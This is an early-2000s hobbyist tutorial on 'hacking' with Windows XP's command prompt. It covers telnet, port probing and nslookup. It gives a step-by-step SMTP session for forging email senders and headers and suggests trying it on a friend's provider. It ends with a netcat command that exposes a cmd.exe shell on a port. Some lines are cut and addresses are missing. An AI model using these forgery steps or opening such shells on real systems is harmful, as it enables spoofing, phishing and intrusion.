XPHacking With Windows XP

XP Hacking With Windows XP

So you have the newest, glitziest, "Fisher Price" version of Windows: XP. How
can you use XP in a way that sets you apart from the boring millions of ordinary

The key to doing amazing things with XP is as simple as D O S. Yes, that's
right, DOS as in MS-DOS, as in MicroSoft Disk Operating System. Windows XP (as
well as NT and 2000) comes with two versions of DOS. Command.com is an old DOS
version. Various versions of command.com come with Windows 95, 98, SE, ME,
Window 3, and DOS only operating systems.

The other DOS, which comes only with XP, 2000 and NT, is cmd.exe. Usually
cmd.exe is better than command.com because it is easier to use, has more
commands, and in some ways resembles the bash shell in Linux and other Unix-type
operating systems. For example, you can repeat a command by using the up arrow
until you back up to the desired command. Unlike bash, however, your DOS command
history is erased whenever you shut down cmd.exe. The reason XP has both
versions of DOS is that sometimes a program that won?t run right in cmd.exe will
work in command.com

note : m not comparing bash to dos

DOS is your number one Windows gateway to the Internet, and the open sesame to
local area networks. From DOS, without needing to download a single hacker
program, you can do amazingly sophisticated explorations and even break into
poorly defended computers.

You can go to jail warning: Breaking into computers is against the law if you do
not have permission to do so from the owner of that computer. For example, if
your friend gives you permission to break into her Hotmail account, that won't
protect you because Microsoft owns Hotmail and they will never give you
You can get expelled warning: Some kids have been kicked out of school just for
bringing up a DOS prompt on a computer. Be sure to get a teacher's WRITTEN
permission before demonstrating that you can hack on a school computer.

So how do you turn on DOS?
Click All Programs -> Accessories -> Command Prompt
That runs cmd.exe. You should see a black screen with white text on it, saying
something like this:

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.


Your first step is to find out what commands you can run in DOS. If you type
"help" at the DOS prompt, it gives you a long list of commands. However, this
list leaves out all the commands hackers love to use. Here are some of those
left out hacker commands.

TCP/IP commands:

NetBIOS commands (just some examples):
net use
net view
net localgroup

TCP/IP stands for transmission control protocol/Internet protocol. As you can
guess by the name, TCP/IP is the protocol under which the Internet runs. along
with user datagram protocol (UDP). So when you are connected to the Internet,
you can try these commands against other Internet computers. Most local area
networks also use TCP/IP.

NetBIOS (Net Basic Input/Output System) protocol is another way to communicate
between computers. This is often used by Windows computers, and by Unix/Linux
type computers running Samba. You can often use NetBIOS commands over the
Internet (being carried inside of, so to speak, TCP/IP). In many cases, however,
NetBIOS commands will be blocked by firewalls. Also, not many Internet computers
run NetBIOS because it is so easy to break in using them. I will cover NetBIOS
commands in the next article to XP Hacking.

The queen of hacker commands is telnet. To get Windows help for telnet, in the
cmd.exe window give the command:

C:\>telnet /?

Here's what you will get:

telnet [-a][-e escape char][-f log file][-l user][-t term][host

-a Attempt automatic logon. Same as --l option except uses the currently logged
on user's name.
-e Escape character to enter telnet cclient prompt.
-f File name for client side logging
-l Specifies the user name to log in with on the remote system. Requires that
the remote system support the TELNET ENVIRON option.
-t Specifies terminal type. Supportedd term types are vt100, vt52, ansi and vtnt
host Specifies the hostname or IP address of the remote computer to connect to.
port Specifies a port number or service name.

Newbie note: what is a port on a computer? A computer port is sort of like a
seaport. It's where things can go in and/or out of a computer. Some ports are
easy to understand, like keyboard, monitor, printer and modem. Other ports are
virtual, meaning that they are created by software. When that modem port of
yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has
the ability to open or close any of over 65,000 different virtual ports, and has
the ability to connect to any of these on another computer - if it is running
that port, and if a firewall doesn?t block it.
Newbie note: How do you address a computer over the Internet? There are two
ways: by number or by name.

The simplest use of telnet is to log into a remote computer. Give the command:

C:/>telnet targetcomputer.com (substituting the name of the computer you want to
telnet into for targetcomputer.com)

If this computer is set up to let people log into accounts, you may get the


Type your user name here, making sure to be exact. You can't swap between lower
case and capital letters. For example, user name Guest is not the same as guest.

Newbie note: Lots of people email me asking how to learn what their user name
and password are. Stop laughing, darn it, they really do. If you don't know your
user name and password, that means whoever runs that computer didn't give you an
account and doesn't want you to log on.

Then comes the message:


Again, be exact in typing in your password.

What if this doesn't work?

Every day people write to me complaining they can't telnet. That is usually
because they try to telnet into a computer, or a port on a computer that is set
up to refuse telnet connections. Here's what it might look like when a computer
refuses a telnet connection:

C:\ >telnet
Connecting To not open connection to the host, on port 23. A
connection attempt failed because the connected party did not properly respond
after a period of time, or established connection failed because connected host
has failed to respond.

Or you might see:

C:\ >telnet hotmail.com
Connecting To hotmail.com...Could not open connection to the host, on port
23. No connection could be made because the target machine actively refused it.

If you just give the telnet command without giving a port number, it will
automatically try to connect on port 23, which sometimes runs a telnet server.

Newbie note: your Windows computer has a telnet client program, meaning it will
let you telnet out of it. However you have to install a telnet server before
anyone can telnet into port 23 on your computer.

If telnet failed to connect, possibly the computer you were trying to telnet
into was down or just plain no longer in existence. Maybe the people who run
that computer don't want you to telnet into it.

Even though you can't telnet into an account inside some computer, often you can
get some information back or get that computer to do something interesting for
you. Yes, you can get a telnet connection to succeed -without doing anything
illegal --against almost any computer, even if you don't have permission to log
in. There are many legal things you can do to many randomly chosen computers
with telnet. For example:

C:/telnet freeshell.org 22


That tells us the target computer is running an SSH server, which enables
encrypted connections between computers. If you want to SSH into an account
there, you can get a shell account for free at http://freeshell.org . You can
get a free SSH client program from http://winfiles.com .

You can get punched in the nose warning: Your online provider might kick you off
for making telnet probes of other computers. The solution is to get a local
online provider and make friends with the people who run it, and convince them
you are just doing harmless, legal explorations.

Sometimes a port is running an interesting program, but a firewall won't let you
in. For example,, a computer on my local area network, runs an email
sending program, (sendmail working together with Postfix, and using Kmail to
compose emails). I can use it from an account inside to send emails
with headers that hide from where I send things.

If I try to telnet to this email program from outside this computer, here's what

C:\>telnet 25
Connecting To not open connection to the host, on port 25. No
connection could be made because the target machine actively refused it.

However, if I log into an account on and then telnet from inside to
port 25, here's what I get:

Last login: Fri Oct 18 13:56:58 2002 from
Have a lot of fun...
cmeinel@test-box:~> telnet localhost 25
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying [Carolyn's note: is the numerical address meaning
localhost, the same computer you are logged into]
Connected to localhost.
Escape character is '^]'.
220 test-box.local ESMTP Postfix

The reason I keep this port 25 hidden behind a firewall is to keep people from
using it to try to break in or to forge email. Now the ubergeniuses reading this
will start to make fun of me because no Internet address that begins with 10. is
reachable from the Internet. However, sometimes I place this "test-box" computer
online with a static Internet address, meaning whenever it is on the Internet,
it always has the same numerical address. I'm not going to tell you what its
Internet address is because I don't want anyone messing with it. I just want to
mess with other people's computers with it, muhahaha. That's also why I always
keep my Internet address from showing up in the headers of my emails.

Newbie note: What is all this about headers? It's stuff at the beginning of an
email that may - or may not - tell you a lot about where it came from and when.
To see full headers, in Outlook click view -> full headers. In Eudora, click the
"Blah blah blah" icon.

Want a computer you can telnet into and mess around with, and not get into
trouble no matter what you do to it? I've set up my techbroker.com
( with user xyz, password guest for you to play with. Here's how to
forge email to xyz@techbroker.com using telnet. Start with the command:

C:\>telnet techbroker.com 25
Connecting To Techbroker.com

220 Service ready

Now you type in who you want the message to appear to come from:

helo santa@techbroker.com
Techbroker.com will answer:

250 host ready

Next type in your mail from address:

mail from:santa@techbroker.com

250 Requested mail action okay, completed

Your next command:

rcpt to:xyz@techbroker.com
250 Requested mail action okay, completed

Your next command:
354 Start main input; end with .

just means hit return. In case you can't see that little
period between the s, what you do to end composing your email is to hit
enter, type a period, then hit enter again. Anyhow, try typing:

This is a test.
250 Requested mail action okay, completed
221 Service closing transmission channel

Connection to host lost.

Using techbroker's mail server, even if you enable full headers, the message we
just composed looks like:

Status: R
X-status: N

This is a test.

That's a pretty pathetic forged email, huh? No "from", no date. However, you can
make your headers better by using a trick with the data command. After you give
it, you can insert as many headers as you choose. The trick is easier to show
than explain:

220 Service ready
helo santa@northpole.org
250 host ready
mail from:santa@northpole.com
250 Requested mail action okay, completed
rcpt to:cmeinel@techbroker.com
250 Requested mail action okay, completed
354 Start main input; end with .
Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.
250 Requested mail action okay, completed
221 Service closing transmission channel

Connection to host lost.

The message then looks like:

Date: Mon, 21 Oct 2002 10:09:16 -0500
Subject: Rudolf
This is a Santa test.

The trick is to start each line you want in the headers with one word followed
by a colon, and the a line followed by "return". As soon as you write a line
that doesn't begin this way, the rest of what you type goes into the body of the

Notice that the santa@northpole.com from the "mail from:" command didn't show up
in the header. Some mail servers would show both "from" addresses.

You can forge email on techbroker.com within one strict limitation. Your email
has to go to someone at techbroker.com. If you can find any way to send email to
someone outside techbroker, let us know, because you will have broken our
security, muhahaha! Don't worry, you have my permission.

Next, you can read the email you forge on techbroker.com via telnet:

C:\>telnet techbroker.com 110

+OK <30961.5910984301@techbroker.com> service ready

Give this command:
user xyz
+OK user is known

Then type in this:
pass test
+OK mail drop has 2 message(s)

retr 1
+OK message follows
This is a test.

If you want to know all possible commands, give this command:

+OK help list follows
USER user
PASS password
LIST [message]
RETR message
DELE message
APOP user md5
TOP message lines
UIDL [message]

Unless you use a weird online provider like AOL, you can use these same tricks
to send and receive your own email. Or you can forge email to a friend by
telnetting to his or her online provider's email sending computer(s).

With most online providers you need to get the exact name of their email
computer(s). Often it is simply mail.targetcomputer.com (substitute the name of
the online provider for targetcomputer). If this doesn't work, you can find out
the name of their email server with the DOS nslookup program, which only runs
from cmd.exe. Here's an example:

C:\ >nslookup
Default Server: DNS1.wurld.net

> set q=mx
> dimensional.com
Server: DNS1.wurld.net

dimensional.com MX preference = 5, mail exchanger =
dimensional.com MX preference = 10, mail exchanger =
dimensional.com MX preference = 20, mail exchanger =
dimensional.com nameserver = ns.dimensional.com
dimensional.com nameserver = ns-1.dimensional.com
dimensional.com nameserver = ns-2.dimensional.com
dimensional.com nameserver = ns-3.dimensional.com
dimensional.com nameserver = ns-4.dimensional.com
mail.dimensional.com internet address =
mx2.dimensional.com internet address =
mx3.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns.dimensional.com internet address =
ns-1.dimensional.com internet address =
ns-2.dimensional.com internet address =
ns-3.dimensional.com internet address =
ns-4.dimensional.com internet address =

The lines that tell you what computers will let you forge email to people with
@dimensional.com addresses are:

dimensional.com MX preference = 5, mail exchanger =
dimensional.com MX preference = 10, mail exchanger =
dimensional.com MX preference = 20, mail exchanger =

MX stands for mail exchange. The lower the preference number, the more they
would like you to use that address for email.If that lowest number server is too
busy, then try another server.

Sometimes when you ask about a mail server, nslookup will give you this kind of
error message:

DNS request timed out.
timeout was 2 seconds.
DNS request timed out.
timeout was 2 seconds.
*** Request to [] timed-out

To get around this problem, you need to find out what are the domain servers for
your target online provider. A good place to start looking is
http://netsol.com/cgi-bin/whois/whois . If this doesn't work, see
http://happyhacker.org/HHA/fightback.shtml for how to find the domain servers
for any Internet address.

Newbie note: A domain name server provides information on the names and numbers
assigned to computers on the Internet. For example, dns1.wurld.net and
dns2.wurld.net contain information on happyhacker.org, techbroker.com,
securitynewsportal.com, thirdpig.com and sage-inc.com. When you query
dns1.wurld.net about other computers, it might have to go hunting for that
information from other name servers. That's why you might get a timed out

Once you know the domain servers for an online service, set one of them for the
server for your nslookup program. Here's how you do it:

C:\ >nslookup
Default Server: DNS1.wurld.net

Now give the command:

> server
Default Server: ns1.earthlink.net

Next command should be:
> set q=mx
> earthlink.net
Server: ns1.earthlink.net

earthlink.net MX preference = 5, mail exchanger = mx04.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx05.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx06.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx00.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx01.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx02.earthlink.net
earthlink.net MX preference = 5, mail exchanger = mx03.earthlink.net
earthlink.net nameserver = ns3.earthlink.net
earthlink.net nameserver = ns1.earthlink.net
earthlink.net nameserver = ns2.earthlink.net
mx00.earthlink.net internet address =
mx01.earthlink.net internet address =
mx02.earthlink.net internet address =
mx03.earthlink.net internet address =
mx04.earthlink.net internet address =
mx05.earthlink.net internet address =
mx06.earthlink.net internet address =
ns1.earthlink.net internet address =
ns2.earthlink.net internet address =
ns3.earthlink.net internet address =

Your own online service will usually not mind and may even be glad if you use
telnet to read your email. Sometimes a malicious person or faulty email program
will send you a message that is so screwed up that your email program can't
download it. With telnet you can manually delete the bad email. Otherwise tech
support has to do it for you.

If you think about it, this ability to forge email is a huge temptation to
spammers. How can your online provider keep the bad guys from filling up a
victim's email box with garbage? The first time a bad guy tries this, probably
nothing will stop him or her. The second time the online provider might block
the bad guy at the firewall, maybe call the bad guy's online provider and kick
him or her and maybe get the bad guy busted or sued.

You can go to jail warning: Sending hundreds or thousands of junk emails to bomb
someone's email account is a felony in the US.

You can get sued warning: Spamming, where you send only one email to each
person, but send thousands or millions of emails, is borderline legal. However,
spammers have been successfully sued when they forge the email addresses of
innocent people as senders of their spam.

Now that you know how to read and write email with telnet, you definitely have
something you can use to show off with. Happy hacking!

Oh, here's one last goodie for advanced users. Get netcat for Windows. It's a
free program written by Weld Pond and Hobbit, and available from many sites, for
http://www.atstake.com/research/tools/#network_utilities . It is basically
telnet on steroids. For example, using netcat, you can set up a port on your
Windows computer to allow people to telnet into a DOS shell by using this

C:\>nc -L -p 5000 -t -e cmd.exe

You can specify a different port number than 5000. Just make sure it doesn't
conflict with another port by checking with the netstat command. Then you and
your friends, enemies and random losers can either telnet in or netcat in with
the command:

C:\>nc -v [ipaddress of target] [port]

Of course you will probably get hacked for setting up this port. However, if you
set up a sniffer to keep track of the action, you can turn this scary back door
into a fascinating honeypot. For example, you could run it on port 23 and watch
all the hackers who attack with telnet hoping to log in. With some programming
you could even fake a unix-like login sequence and play some tricks on your


Need to say something ? Spell it out :)